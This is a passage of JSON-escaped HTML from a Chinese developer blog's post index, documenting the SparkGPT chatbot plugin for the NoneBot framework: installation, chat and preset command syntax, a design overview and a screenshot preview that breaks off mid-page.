src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026amp;bvid=BV11W4y1o7u5\u0026amp;autoplay=0\" scrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n\u003c/iframe\u003e\n\u003c/div\u003e\n\u003cp\u003e然后需要使用 gocq 的dev 版本,这里给出 gocq dev的action地址,可以自行在这里寻找合适的构建版本,\u003cbr/\u003e\n而连接到nb的方法在上面的 nonebot部署教程中已经又过了,这里不在放出地址\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://github.com/Mrs4s/go-cqhttp/actions/workflows/ci.yml\" target=\"_blank\" rel=\"noopener\"\u003egocq-dev Action CL\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"qqguid-qq频道\"\u003eQQGuid (QQ频道)\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/nonebot/adapter-qqguild\" target=\"_blank\" rel=\"noopener\"\u003eQQ频道适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"kook开黑啦\"\u003eKOOK(开黑啦)\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/Tian-que/nonebot-adapter-kaiheila\" target=\"_blank\" rel=\"noopener\"\u003eKOOK(开黑啦)适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"飞书\"\u003e飞书\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://feishu.adapters.nonebot.dev/docs/guide/installation\" target=\"_blank\" rel=\"noopener\"\u003e飞书(Lark)适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"telegram\"\u003eTelegram\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/nonebot/adapter-telegram\" target=\"_blank\" rel=\"noopener\"\u003eTelegram适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"discord\"\u003eDiscord\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/nonebot/adapter-discord\" target=\"_blank\" rel=\"noopener\"\u003eDiscord适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch4 id=\"部署spark-gpt\"\u003e部署Spark GPT\u003c/h4\u003e\n\u003ch5 id=\"安装插件\"\u003e安装插件\u003c/h5\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enb plugin install spark_gpt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"配置相关信息\"\u003e配置相关信息\u003c/h5\u003e\n\u003col\u003e\n\u003cli\u003eSparkGPT 依赖 \u003ca class=\"link\" href=\"https://github.com/canxin121/nonebot_plugin_web_config\" target=\"_blank\" rel=\"noopener\"\u003enonebot_plugin_web_config\u003c/a\u003e 进行实时配置热更新,所以需要配置的相关信息(端口,账号密码),可以点击进入查看相关的env配置.\u003c/li\u003e\n\u003cli\u003eSparkGPT 的GPT来源需要手动配置相应的 auth 信息才可以使用,具体获取方式都均在web ui(默认\u003ca class=\"link\" href=\"http://127.0.0.1:8666\" target=\"_blank\" rel=\"noopener\"\u003ehttp://127.0.0.1:8666\u003c/a\u003e)中已经标出,并可以实时热更新.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"使用教程\"\u003e使用教程\u003c/h3\u003e\n\u003cp\u003e使用教程图片版可以使用 shelp 命令获取.\u003cbr/\u003e\n本插件 均采用\u003ca class=\"link\" href=\"https://github.com/nonebot/plugin-alconna\" target=\"_blank\" rel=\"noopener\"\u003eAlc\u003c/a\u003e命令形式 进行使用.\u003cbr/\u003e\n在下面的文本中,用\u003ccode\u003e{}\u003c/code\u003e来标志 需要替换的变量, 用\u003ccode\u003e()\u003c/code\u003e框起来的为 选填的变量\u003c/p\u003e\n\u003ch4 id=\"会话\"\u003e会话\u003c/h4\u003e\n\u003ch5 id=\"使用公有会话询问\"\u003e使用公有会话询问\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003epublic_command{chat_name} {question} ( {photo} )\u003c/code\u003e\u003cbr/\u003e\n参数:\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003echat_name\u003c/code\u003e: 会话昵称\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003equestion\u003c/code\u003e: 问题\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e选填:\u003cbr/\u003e\n3. \u003ccode\u003ephoto\u003c/code\u003e: 需要识别的图片内容,只有model为bing时才可以使用,需要跟随文本信息一同发送\n4.\u003c/p\u003e\n\u003ch5 id=\"使用私有会话询问\"\u003e使用私有会话询问\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprivate_command{chat_name} {question} ( {photo} )\u003c/code\u003e\u003cbr/\u003e\n参数:\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003echat_name\u003c/code\u003e: 会话昵称\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003equestion\u003c/code\u003e: 问题\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e选填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003ephoto\u003c/code\u003e: 需要识别的图片内容,只有model为bing时才可以使用,需要跟随文本信息一同发送\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"创建新的会话\"\u003e创建新的会话\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003echat add -n {chat_name} -m {model} ( -p {prompt} -c {command} -auto_pic {bool} -num_limit {int} -pic {bool} -url {bool} -stream {bool} -public )\u003c/code\u003e\u003cbr/\u003e\n参数:\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003echat_name\u003c/code\u003e: 会话名称\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emodel\u003c/code\u003e: 使用的模型名称或者索引数字\n选填:\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eprompt\u003c/code\u003e:\u003cbr/\u003e\n使用本地预设,须在预设名称前加’.‘号\u003cbr/\u003e\n使用自定义预设,直接输入内容\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ecommand\u003c/code\u003e:\u003cbr/\u003e\n使用本地指令,须在指令名称前加’.‘号\u003cbr/\u003e\n使用自定义指令,直接输入内容\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eauto_pic\u003c/code\u003e: 是否当字数过多时自动转图片\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003enum_limit\u003c/code\u003e: 自动转图片的字数上限\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003epic\u003c/code\u003e: 是否总是文字转图片\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eurl\u003c/code\u003e: 是否在图片或流式回复时发送全文链接\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003estream\u003c/code\u003e: 是否流式输出,分段发送结果\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003epublic\u003c/code\u003e: 是否是创建共有会话\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"修改新的会话\"\u003e修改新的会话\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003echat edit -on {old_name} \\n( -nn {new_name} -m {model} -p {prompt} -c {command} -auto_pic {bool} -num_limit {int} -pic {bool} -url {bool} -stream {bool} -public )\u003c/code\u003e\u003cbr/\u003e\n参数:\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003eold_name\u003c/code\u003e: 原来的会话名称\n选填:\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003enew_name\u003c/code\u003e: 原来的会话名称\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emodel\u003c/code\u003e: 使用的模型名称或者索引数字\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eprompt\u003c/code\u003e:\u003cbr/\u003e\n使用本地预设,须在预设名称前加’.‘号\u003cbr/\u003e\n使用自定义预设,直接输入内容\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ecommand\u003c/code\u003e:\u003cbr/\u003e\n使用本地指令,须在指令名称前加’.‘号\u003cbr/\u003e\n使用自定义指令,直接输入内容\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eauto_pic\u003c/code\u003e: 是否当字数过多时自动转图片\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003enum_limit\u003c/code\u003e: 自动转图片的字数上限\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003epic\u003c/code\u003e: 是否总是文字转图片\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eurl\u003c/code\u003e: 是否在图片或流式回复时发送全文链接\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003estream\u003c/code\u003e: 是否流式输出,分段发送结果\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003epublic\u003c/code\u003e: 是否是修改共有会话\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"获取所有会话的列表\"\u003e获取所有会话的列表\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003echat list\u003c/code\u003e\u003c/p\u003e\n\u003ch5 id=\"删除一个会话\"\u003e删除一个会话\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003echat del -n {chat_name} ( -public )\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003echat_name\u003c/code\u003e: 会话名称\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e选填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003epublic\u003c/code\u003e: 是否是创建共有会话\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"模型\"\u003e模型\u003c/h4\u003e\n\u003ch5 id=\"获取可用模型列表\"\u003e获取可用模型列表\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003emodel list\u003c/code\u003e\u003c/p\u003e\n\u003ch4 id=\"预设\"\u003e预设\u003c/h4\u003e\n\u003ch5 id=\"添加一个新的预设\"\u003e添加一个新的预设\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprompt add -n {name} -c {content}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr/\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 预设名称\u003c/li\u003e\n\u003cli\u003econtent: 预设内容\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"删除一个预设\"\u003e删除一个预设\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprompt del -n {name}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr/\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 预设名称\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"查看预设列表\"\u003e查看预设列表\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprompt list ( -p {num} )\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr/\u003e\n选填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003enum: 页数\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"查看特定预设具体内容\"\u003e查看特定预设具体内容\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprompt show -n {name}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr/\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 预设名称\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"指令\"\u003e指令\u003c/h4\u003e\n\u003ch5 id=\"添加一个新的指令\"\u003e添加一个新的指令\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003ecommand add -n {name} -c {content}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr/\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 指令名称\u003c/li\u003e\n\u003cli\u003econtent: 指令内容\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"删除一个指令\"\u003e删除一个指令\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003ecommand del -n {name}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr/\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 指令名称\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"查看指令列表\"\u003e查看指令列表\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003ecommand list ( -p {num} )\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr/\u003e\n选填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003enum: 页数\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"查看特定指令具体内容\"\u003e查看特定指令具体内容\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003ecommand show -n {name}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr/\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 指令名称\u003c/li\u003e\n\u003c/ol\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://canxin121.github.io/p/sparkgpt/"},{"title":"SparkGPT 思路分析","time":"2023-09-10T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"项目地址---spark-gpthttpsgithubcomcanxin121spark-gpt\"\u003e项目地址 -\u0026gt; \u003ca class=\"link\" href=\"https://github.com/canxin121/Spark-GPT\" target=\"_blank\" rel=\"noopener\"\u003eSpark-GPT\u003c/a\u003e\u003c/h2\u003e\n\u003ch2 id=\"nonebot框架\"\u003eNonebot框架\u003c/h2\u003e\n\u003cp\u003e由于SparkGPT由Python开发, 在Python中运行, 而Python目前最佳的bot框架为Nonebot框架,所以 目前2.0.0版本深度绑定Nonebot框架进行开发.\u003c/p\u003e\n\u003cp\u003e预计将在下个大版本 将SparkGPT独立实现协议, 再实现不同语言框架的协议对接\u003c/p\u003e\n\u003ch2 id=\"配置管理\"\u003e配置管理\u003c/h2\u003e\n\u003ch3 id=\"webui\"\u003ewebui\u003c/h3\u003e\n\u003cp\u003e实现了\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e来是实现webui管理配置信息, 借助pydantic的\u003ccode\u003eBaseModel\u003c/code\u003e来实现序列化反序列化并持久储存和方便的存取.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e提供了一个父类给其他插件,直接继承并填写相关注释和属性即可实现持久储存和web编辑, 并且提供了从\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e实时获取配置的方法,而无需重新反序列化.\u003c/p\u003e\n\u003cp\u003eToDo:\u003cbr/\u003e\n预计将会实现pydantic -\u0026gt; json schema的转换用于通信, 并重写前端页面\u003c/p\u003e\n\u003ch2 id=\"数据储存\"\u003e数据储存\u003c/h2\u003e\n\u003ch3 id=\"用户会话数据储存\"\u003e用户会话数据储存\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e使用pydantic的\u003ccode\u003eBaseModel\u003c/code\u003e方便 序列化和反序列化\u003c/li\u003e\n\u003cli\u003e使用\u003ccode\u003eNonebot_plugin_bind\u003c/code\u003e的统一id作为用户标志储存, 实现跨平台跨账户的数据共享\u003c/li\u003e\n\u003cli\u003e所有的会话数据以json形式储存在以用户id命名的文件中, 单用户单数据, 保证数据的隔断性\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"预设指令模型数据\"\u003e预设,指令,模型数据\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e继承自\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e提供的父类, 直接实现了持久储存和webui编辑\u003c/li\u003e\n\u003cli\u003e实现了一个装饰器, 方便的给每个子类生成一个从\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e获取数据的方法\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"消息事件处理\"\u003e消息事件处理\u003c/h2\u003e\n\u003ch3 id=\"消息接受\"\u003e消息接受\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e依赖\u003ccode\u003eNonebot_plugin_alconna\u003c/code\u003e进行命令形式的消息事件匹配,分发给不同的函数进行处理\u003c/li\u003e\n\u003cli\u003e实现\u003ccode\u003eNonebot_plugin_bind\u003c/code\u003e 进行不同账户(可跨平台)信息的绑定, 将同一人的所有聊天平台的数据统一起来\u003c/li\u003e\n\u003cli\u003e实现了会话的持久储存和一个从信息中获取会话依赖注入, 可以从一条信息中获取用户私有的或公有的会话, 分发给不同模型的Chatbot处理\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"回复生成\"\u003e回复生成\u003c/h3\u003e\n\u003ch4 id=\"模型回复\"\u003e模型回复\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e实现\u003ccode\u003eBaseChatBot\u003c/code\u003e父类, 实现使用 异步生成器 实现 流式发送(每次发送消息的两段左右,如果平台支持编辑消息,那么直接加到原来的消息后面,否则发送新的消息) 和 一次性发送(可以自适应长度文转图转链接, 也可以强制设定使用文字或图片回复), 这里其实就是消息发送的步骤.\u003c/li\u003e\n\u003cli\u003e所有的\u003ccode\u003eChatBot\u003c/code\u003e子类只需添加特有的属性(用于储存会话信息)和\u003ccode\u003eBaseChatBot\u003c/code\u003e父类要求的属性, 以及一个异步生成器方法(逆向或使用官方api)和一个刷新会话方法, 即可实现一个新的api的接入\u003c/li\u003e\n\u003cli\u003e涉及的实现的逆向工程的链接\u0026#34; \u003ca class=\"link\" href=\"https://github.com/canxin121/Async-Bing-Client\" target=\"_blank\" rel=\"noopener\"\u003eAsync-Bing-Client\u003c/a\u003e “, \u0026#34; \u003ca class=\"link\" href=\"https://github.com/canxin121/Async-Poe-Client\" target=\"_blank\" rel=\"noopener\"\u003eAsync-Poe-Client\u003c/a\u003e “, \u0026#34; \u003ca class=\"link\" href=\"https://github.com/canxin121/Async-Claude-Client\" target=\"_blank\" rel=\"noopener\"\u003eAsync-Claude-Client\u003c/a\u003e \u0026#34;\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"普通回复\"\u003e普通回复\u003c/h4\u003e\n\u003ch5 id=\"菜单和帮助\"\u003e菜单和帮助\u003c/h5\u003e\n\u003col\u003e\n\u003cli\u003e实现了Nonebot_plugin_templates, 提供一些模板和构造方法, 直接构造出菜单的html并用htmlrender渲染截图返回结果.\u003c/li\u003e\n\u003cli\u003e实现了一个Menu类来将 文本菜单 和 Nonebot_plugin_templates生成的菜单同时实现, 并且缓存图片, 减小开销, 提高效率\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"基本查看和管理\"\u003e基本查看和管理\u003c/h5\u003e\n\u003col\u003e\n\u003cli\u003echat的list在\u003ccode\u003e用户会话数据储存类\u003c/code\u003e的基础上加了一个方法, 并借助Nonebot_plugin_templates生成 会话的列表图片并缓存和动态更新, 减少开销, 提升效率\u003c/li\u003e\n\u003cli\u003eprompt和command的图片回复在\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e的子类的基础上借助Nonebot_plugin_templates实现图片列表和具体展示\u003c/li\u003e\n\u003cli\u003e其他文本形式的回复直接发送即可\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"消息发送\"\u003e消息发送\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e依赖\u003ccode\u003eNonebot_plugin_saa\u003c/code\u003e进行跨适配器(跨聊天平台)的发送消息,可以实现图文发送\u003c/li\u003e\n\u003cli\u003e依赖\u003ccode\u003eNonebot_plugin_htmlrender\u003c/code\u003e进行文转图, 实质上就是使用playwright使用我的自制模板进行前端渲染并截图\u003c/li\u003e\n\u003cli\u003e使用 \u003ccode\u003edpaste.org\u003c/code\u003e 的 逆向api 进行文转网络剪切板链接, 方便用户拿去回答和信息\u003c/li\u003e\n\u003c/ol\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://canxin121.github.io/p/sparkgpt-%E6%80%9D%E8%B7%AF%E5%88%86%E6%9E%90/"},{"title":"SparkGPT 预览","time":"2023-09-10T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"项目地址---spark-gpthttpsgithubcomcanxin121spark-gpt\"\u003e项目地址 -\u0026gt; \u003ca class=\"link\" href=\"https://github.com/canxin121/Spark-GPT\" target=\"_blank\" rel=\"noopener\"\u003eSpark-GPT\u003c/a\u003e\u003c/h2\u003e\n\u003ch2 id=\"sparkgpt使用示例\"\u003eSparkGPT使用示例\u003c/h2\u003e\n\u003ch2 id=\"webui\"\u003eWebui\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/webui.png\" width=\"2560\" height=\"1363\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/webui_hudfc518bf0e3dff5f58a40d0e9292d707_109343_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/webui_hudfc518bf0e3dff5f58a40d0e9292d707_109343_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"使用webui配置相关信息 \" class=\"gallery-image\" data-flex-grow=\"187\" data-flex-basis=\"450px\"/\u003e\u003c/p\u003e\n\u003ch2 id=\"帮助\"\u003e帮助\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/shelp.png\" width=\"576\" height=\"543\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/shelp_hu944c3e2c5f8f713cb74e42c3e320bf12_505859_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/shelp_hu944c3e2c5f8f713cb74e42c3e320bf12_505859_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 获取帮助说明 \" class=\"gallery-image\" data-flex-grow=\"106\" data-flex-basis=\"254px\"/\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/help.png\" width=\"1103\" height=\"1104\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/help_hu251595a42a1b5b8f82ad76b655cf6edf_1104940_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/help_hu251595a42a1b5b8f82ad76b655cf6edf_1104940_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 获取某个命令的子命令格式 \" class=\"gallery-image\" data-flex-grow=\"99\" data-flex-basis=\"239px\"/\u003e\u003c/p\u003e\n\u003ch2 id=\"模型\"\u003e模型\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/model_list.png\" width=\"573\" height=\"537\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/model_list_hu23029734091389392b7f3cc6c00ab338_504350_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/model_list_hu23029734091389392b7f3cc6c00ab338_504350_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 获取所有模型 \" class=\"gallery-image\" data-flex-grow=\"106\" data-flex-basis=\"256px\"/\u003e\u003c/p\u003e\n\u003ch2 id=\"会话\"\u003e会话\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_list.png\" width=\"659\" height=\"706\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_list_hu0073cb7dda307cc6b080e3dc900b34a8_691617_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_list_hu0073cb7dda307cc6b080e3dc900b34a8_691617_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 获取所有会话 \" class=\"gallery-image\" data-flex-grow=\"93\" data-flex-basis=\"224px\"/\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/private_chat.png\" width=\"655\" height=\"1100\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/private_chat_hud4482fb84500528454f3593a7514105d_1059521_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/private_chat_hud4482fb84500528454f3593a7514105d_1059521_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 创建一个新的私有会话并使用 \" class=\"gallery-image\" data-flex-grow=\"59\" data-flex-basis=\"142px\"/\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/public_chat.png\" width=\"639\" height=\"767\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/public_chat_hub91b792aa6ea24cd0e152fda59917491_555628_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/public_chat_hub91b792aa6ea24cd0e152fda59917491_555628_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 创建一个新的公有会话并使用 \" class=\"gallery-image\" data-flex-grow=\"83\" data-flex-basis=\"199px\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_del.png\" width=\"653\" height=\"278\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_del_hu470a197b58cd883b82a911a603d25821_243419_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_del_hu470a197b58cd883b82a911a603d25821_243419_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 删除一个会话 \" class=\"gallery-image\" data-flex-grow=\"234\" data-flex-basis=\"563px\"/\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_edit.png\" width=\"657\" height=\"303\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_edit_hued1d147889be06e39648a664af08d1ad_225903_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_edit_hued1d147889be06e39648a664af08d1ad_225903_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 编辑一个会话 \" class=\"gallery-image\" data-flex-grow=\"216\" data-flex-basis=\"520px\"/\u003e\u003c/p\u003e\n\u003ch2 id=\"预设\"\u003e预设\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_list.png\" width=\"636\" height=\"575\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_list_hu2a03ea50776fff542bb050407f9d74b3_517821_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_list_hu2a03ea50776fff542bb050407f9d74b3_517821_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 获取所有预设缩略信息 \" class=\"gallery-image\" data-flex-grow=\"110\" data-flex-basis=\"265px\"/\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_show.png\" width=\"645\" height=\"643\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_show_hue285e6203402b430e11d1ef58ecd77df_404262_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_show_hue285e6203402b430e11d1ef58ecd77df_404262_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 查看某个预设 \" class=\"gallery-image\" data-flex-grow=\"100\" data-flex-basis=\"240px\"/\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_add.png\" width=\"638\" height=\"294\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_add_hu8d9c1abd7b76c69a4f57521c2565bb16_195901_480x0_resize_box_3.png 480w, 